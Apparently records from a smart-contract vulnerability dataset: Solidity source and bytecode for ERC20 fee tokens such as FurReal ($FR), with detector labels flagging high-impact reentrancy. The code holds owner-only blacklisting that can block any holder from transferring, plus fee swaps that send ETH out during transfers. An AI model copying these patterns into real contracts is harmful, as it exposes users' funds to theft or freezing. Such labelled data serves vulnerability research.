function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswapsend() external onlyOwner {
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
|
0x6080604052600436106101025760003560e01c8063715018a611610095578063b515566a11610064578063b515566a146102d4578063ba05e9bc146102f4578063c9567bf914610309578063dd62ed3e14610311578063e01af92c1461035757600080fd5b8063715018a61461024b5780638da5cb5b1461026057806395d89b4114610288578063a9059cbb146102b457600080fd5b8063273123b7116100d1578063273123b7146101cd578063313ce567146101ef5780635932ead11461020b57806370a082311461022b57600080fd5b806306fdde031461010e578063095ea7b31461015457806318160ddd1461018457806323b872dd146101ad57600080fd5b3661010957005b600080fd5b34801561011a57600080fd5b5060408051808201909152600b81526a111bdb9d135a5cdcd3dd5d60aa1b60208201525b60405161014b9190611538565b60405180910390f35b34801561016057600080fd5b5061017461016f3660046115b5565b61036a565b604051901515815260200161014b565b34801561019057600080fd5b506b033b2e3c9fd0803ce80000005b60405190815260200161014b565b3480156101b957600080fd5b506101746101c83660046115e1565b610381565b3480156101d957600080fd5b506101ed6101e8366004611622565b6103ea565b005b3480156101fb57600080fd5b506040516009815260200161014b565b34801561021757600080fd5b506101ed61022636600461164d565b61043e565b34801561023757600080fd5b5061019f610246366004611622565b610486565b34801561025757600080fd5b506101ed6104a8565b34801561026c57600080fd5b506000546040516001600160a01b03909116815260200161014b565b34801561029457600080fd5b50604080518082019091526003815262444d4f60e81b602082015261013e565b3480156102c057600080fd5b506101746102cf3660046115b5565b61051c565b3480156102e057600080fd5b506101ed6102ef366004611680565b610529565b34801561030057600080fd5b506101ed6105bf565b6101ed610609565b34801561031d57600080fd5b5061019f61032c366004611745565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b6101ed61036536600461164d565b6109c1565b6000610377338484610a09565b5060015b92915050565b600061038e848484610b2d565b6103e084336103db85604051806060016040528060288152602001611944602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610e59565b610a09565b5060019392505050565b6000546001600160a01b0316331461041d5760405162461bcd60e51b81526004016104149061177e565b60405180910390fd5b6001600160a01b03166000908152600660205260409020805460ff19169055565b6000546001600160a01b031633146104685760405162461bcd60e51b81526004016104149061177e565b600e8054911515600160b81b0260ff60b81b19909216919091179055565b6001600160a01b03811660009081526002602052604081205461037b90610e93565b6000546001600160a01b031633146104d25760405162461bcd60e51b81526004016104149061177e565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000610377338484610b2d565b6000546001600160a01b031633146105535760405162461bcd60e51b81526004016104149061177e565b60005b81518110156105bb57600160066000848481518110610577576105776117b3565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806105b3816117df565b915050610556565b5050565b6000546001600160a01b031633146105e95760405162461bcd60e51b81526004016104149061177e565b60006105f430610486565b90506105ff81610f17565b476105bb81611091565b6000546001600160a01b031633146106335760405162461bcd60e51b81526004016104149061177e565b6010805460ff19166001179055600e54600160a01b900460ff161561069a5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610414565b600d80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556106da30826b033b2e3c9fd0803ce8000000610a09565b806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610718573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061073c91906117fa565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610789573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107ad91906117fa565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af11580156107fa573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061081e91906117fa565b600e80546001600160a01b0319166001600160a01b03928316179055600d541663f305d719343061084e81610486565b6000806108636000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156108cb573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906108f09190611817565b5050600e80546001600160a01b0390811660009081526005602052604090819020805460ff1916600117905582546a295be96e64066972000000600f55630101000160a01b63ffff00ff60a01b19821617909355600d54905163095ea7b360e01b8152908216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af115801561098f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109b39190611845565b50506010805460ff19169055565b6000546001600160a01b031633146109eb5760405162461bcd60e51b81526004016104149061177e565b600e8054911515600160b01b0260ff60b01b19909216919091179055565b6001600160a01b038316610a6b5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610414565b6001600160a01b038216610acc5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610414565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610b915760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610414565b6001600160a01b038216610bf35760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610414565b60008111610c555760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610414565b60105460ff1615610c6f576000600a819055600b55610c7a565b6002600a556008600b555b6000546001600160a01b03848116911614801590610ca657506000546001600160a01b03838116911614155b15610e49576001600160a01b03831660009081526006602052604090205460ff16158015610ced57506001600160a01b03821660009081526006602052604090205460ff16155b610cf657600080fd5b600e546001600160a01b038481169116148015610d215750600d546001600160a01b03838116911614155b8015610d4657506001600160a01b03821660009081526005602052604090205460ff16155b8015610d5b5750600e54600160b81b900460ff165b15610d6f57600f54811115610d6f57600080fd5b60105460ff16158015610d8f5750600e546001600160a01b038381169116145b8015610da95750600d546001600160a01b03848116911614155b8015610dce57506001600160a01b03831660009081526005602052604090205460ff16155b15610dde576002600a908155600b555b600e54600160a81b900460ff16158015610e065750600e546001600160a01b03848116911614155b8015610e1b5750600e54600160b01b900460ff165b15610e49576000610e2b30610486565b9050610e3681610f17565b478015610e4657610e4647611091565b50505b610e548383836110cb565b505050565b60008184841115610e7d5760405162461bcd60e51b81526004016104149190611538565b506000610e8a8486611862565b95945050505050565b6000600854821115610efa5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610414565b6000610f046110d6565b9050610f1083826110f9565b9392505050565b600e805460ff60a81b1916600160a81b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610f5f57610f5f6117b3565b6001600160a01b03928316602091820292909201810191909152600d54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610fb8573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610fdc91906117fa565b81600181518110610fef57610fef6117b3565b6001600160a01b039283166020918202929092010152600d546110159130911684610a09565b600d5460405163791ac94760e01b81526001600160a01b039091169063791ac9479061104e908590600090869030904290600401611879565b600060405180830381600087803b15801561106857600080fd5b505af115801561107c573d6000803e3d6000fd5b5050600e805460ff60a81b1916905550505050565b600c546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156105bb573d6000803e3d6000fd5b610e5483838361113b565b60008060006110e3611232565b90925090506110f282826110f9565b9250505090565b6000610f1083836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061127a565b60008060008060008061114d876112a8565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061117f9087611305565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546111ae9086611347565b6001600160a01b0389166000908152600260205260409020556111d0816113a6565b6111da84836113f0565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161121f91815260200190565b60405180910390a3505050505050505050565b60085460009081906b033b2e3c9fd0803ce800000061125182826110f9565b821015611271575050600854926b033b2e3c9fd0803ce800000092509050565b90939092509050565b6000818361129b5760405162461bcd60e51b81526004016104149190611538565b506000610e8a84866118ea565b60008060008060008060008060006112c58a600a54600b54611414565b92509250925060006112d56110d6565b905060008060006112e88e878787611469565b919e509c509a509598509396509194505050505091939550919395565b6000610f1083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610e59565b600080611354838561190c565b905083811015610f105760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610414565b60006113b06110d6565b905060006113be83836114b9565b306000908152600260205260409020549091506113db9082611347565b30600090815260026020526040902055505050565b6008546113fd9083611305565b60085560095461140d9082611347565b6009555050565b600080808061142e606461142889896114b9565b906110f9565b9050600061144160646114288a896114b9565b90506000611459826114538b86611305565b90611305565b9992985090965090945050505050565b600080808061147888866114b9565b9050600061148688876114b9565b9050600061149488886114b9565b905060006114a6826114538686611305565b939b939a50919850919650505050505050565b6000826114c85750600061037b565b60006114d48385611924565b9050826114e185836118ea565b14610f105760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610414565b600060208083528351808285015260005b8181101561156557858101830151858201604001528201611549565b81811115611577576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b03811681146115a257600080fd5b50565b80356115b08161158d565b919050565b600080604083850312156115c857600080fd5b82356115d38161158d565b946020939093013593505050565b6000806000606084860312156115f657600080fd5b83356116018161158d565b925060208401356116118161158d565b929592945050506040919091013590565b60006020828403121561163457600080fd5b8135610f108161158d565b80151581146115a257600080fd5b60006020828403121561165f57600080fd5b8135610f108161163f565b634e487b7160e01b600052604160045260246000fd5b6000602080838503121561169357600080fd5b823567ffffffffffffffff808211156116ab57600080fd5b818501915085601f8301126116bf57600080fd5b8135818111156116d1576116d161166a565b8060051b604051601f19603f830116810181811085821117156116f6576116f661166a565b60405291825284820192508381018501918883111561171457600080fd5b938501935b828510156117395761172a856115a5565b84529385019392850192611719565b98975050505050505050565b6000806040838503121561175857600080fd5b82356117638161158d565b915060208301356117738161158d565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b60006000198214156117f3576117f36117c9565b5060010190565b60006020828403121561180c57600080fd5b8151610f108161158d565b60008060006060848603121561182c57600080fd5b8351925060208401519150604084015190509250925092565b60006020828403121561185757600080fd5b8151610f108161163f565b600082821015611874576118746117c9565b500390565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156118c95784516001600160a01b0316835293830193918301916001016118a4565b50506001600160a01b03969096166060850152505050608001529392505050565b60008261190757634e487b7160e01b600052601260045260246000fd5b500490565b6000821982111561191f5761191f6117c9565b500190565b600081600019048311821515161561193e5761193e6117c9565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122048354b0101554d0a714f50d017a757cb973534767adcffa912850c0219c8bb7664736f6c634300080a0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 3,502 |
0x7f85041adf372984c27836b9d3e198e8fb97cbed
|
/**
*Submitted for verification at Etherscan.io on 2021-06-26
*/
/**
*Submitted for verification at Etherscan.io on 2021-06-26
*/
/**
*Submitted for verification at Etherscan.io on 2021-06-26
*/
/**
*Submitted for verification at Etherscan.io on 2021-06-26
*/
/**
*Submitted for verification at Etherscan.io on 2021-06-26
*/
//FurReal Token ($FR)
//Powerful Bot Protect yes
// website: https://www.furrealtoken.com/
//Telegram: https://t.me/furrealtoy
// Twitter: https://twitter.com/TokenFur
//CG, CMC listing: Ongoing
//Fair Launch
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract FurReal is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "FurReal";
string private constant _symbol = "FR";
uint8 private constant _decimals = 9;
// RFI
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 5;
uint256 private _teamFee = 10;
// Bot detection
mapping(address => bool) private bots;
mapping(address => uint256) private cooldown;
address payable private _teamAddress;
address payable private _marketingFunds;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable addr1, address payable addr2) {
_teamAddress = addr1;
_marketingFunds = addr2;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_teamAddress] = true;
_isExcludedFromFee[_marketingFunds] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_taxFee == 0 && _teamFee == 0) return;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = 5;
_teamFee = 10;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (
from != address(this) &&
to != address(this) &&
from != address(uniswapV2Router) &&
to != address(uniswapV2Router)
) {
require(
_msgSender() == address(uniswapV2Router) ||
_msgSender() == uniswapV2Pair,
"ERR: Uniswap only"
);
}
}
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
if (
from == uniswapV2Pair &&
to != address(uniswapV2Router) &&
!_isExcludedFromFee[to] &&
cooldownEnabled
) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (60 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_teamAddress.transfer(amount.mul(4).div(10));
_marketingFunds.transfer(amount.mul(6).div(10));
}
function openTrading() external onlyOwner() {
require(!tradingOpen, "trading is already open");
IUniswapV2Router02 _uniswapV2Router =
IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 2500000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
function manualswap() external {
require(_msgSender() == _teamAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _teamAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 taxFee,
uint256 TeamFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
}
|
0x60806040526004361061012d5760003560e01c8063715018a6116100a5578063b515566a11610074578063c9567bf911610059578063c9567bf914610372578063d543dbeb14610387578063dd62ed3e146103a757600080fd5b8063b515566a1461033d578063c3c8cd801461035d57600080fd5b8063715018a61461029a5780638da5cb5b146102af57806395d89b41146102d7578063a9059cbb1461031d57600080fd5b8063273123b7116100fc5780635932ead1116100e15780635932ead1146102455780636fc3eaec1461026557806370a082311461027a57600080fd5b8063273123b714610207578063313ce5671461022957600080fd5b806306fdde0314610139578063095ea7b31461019157806318160ddd146101c157806323b872dd146101e757600080fd5b3661013457005b600080fd5b34801561014557600080fd5b5060408051808201909152600781527f4675725265616c0000000000000000000000000000000000000000000000000060208201525b6040516101889190611e9a565b60405180910390f35b34801561019d57600080fd5b506101b16101ac366004611d0d565b6103ed565b6040519015158152602001610188565b3480156101cd57600080fd5b50683635c9adc5dea000005b604051908152602001610188565b3480156101f357600080fd5b506101b1610202366004611ccd565b610404565b34801561021357600080fd5b50610227610222366004611c5d565b61046d565b005b34801561023557600080fd5b5060405160098152602001610188565b34801561025157600080fd5b50610227610260366004611e1d565b61050b565b34801561027157600080fd5b506102276105b2565b34801561028657600080fd5b506101d9610295366004611c5d565b6105df565b3480156102a657600080fd5b50610227610601565b3480156102bb57600080fd5b506000546040516001600160a01b039091168152602001610188565b3480156102e357600080fd5b5060408051808201909152600281527f4652000000000000000000000000000000000000000000000000000000000000602082015261017b565b34801561032957600080fd5b506101b1610338366004611d0d565b6106bd565b34801561034957600080fd5b50610227610358366004611d38565b6106ca565b34801561036957600080fd5b506102276107d5565b34801561037e57600080fd5b5061022761080b565b34801561039357600080fd5b506102276103a2366004611e55565b610ccf565b3480156103b357600080fd5b506101d96103c2366004611c95565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b60006103fa338484610dd2565b5060015b92915050565b6000610411848484610f2a565b610463843361045e856040518060600160405280602881526020016120db602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906113db565b610dd2565b5060019392505050565b6000546001600160a01b031633146104cc5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b6001600160a01b03166000908152600a6020526040902080547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00169055565b6000546001600160a01b031633146105655760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016104c3565b600f805491151577010000000000000000000000000000000000000000000000027fffffffffffffffff00ffffffffffffffffffffffffffffffffffffffffffffff909216919091179055565b600c546001600160a01b0316336001600160a01b0316146105d257600080fd5b476105dc81611415565b50565b6001600160a01b0381166000908152600260205260408120546103fe906114a4565b6000546001600160a01b0316331461065b5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016104c3565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080547fffffffffffffffffffffffff0000000000000000000000000000000000000000169055565b60006103fa338484610f2a565b6000546001600160a01b031633146107245760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016104c3565b60005b81518110156107d1576001600a600084848151811061076f577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6020908102919091018101516001600160a01b0316825281019190915260400160002080547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0016911515919091179055806107c981612020565b915050610727565b5050565b600c546001600160a01b0316336001600160a01b0316146107f557600080fd5b6000610800306105df565b90506105dc8161153b565b6000546001600160a01b031633146108655760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016104c3565b600f5474010000000000000000000000000000000000000000900460ff16156108d05760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016104c3565b600e80547fffffffffffffffffffffffff000000000000000000000000000000000000000016737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556109253082683635c9adc5dea00000610dd2565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561095e57600080fd5b505afa158015610972573d6000803e3d6000fd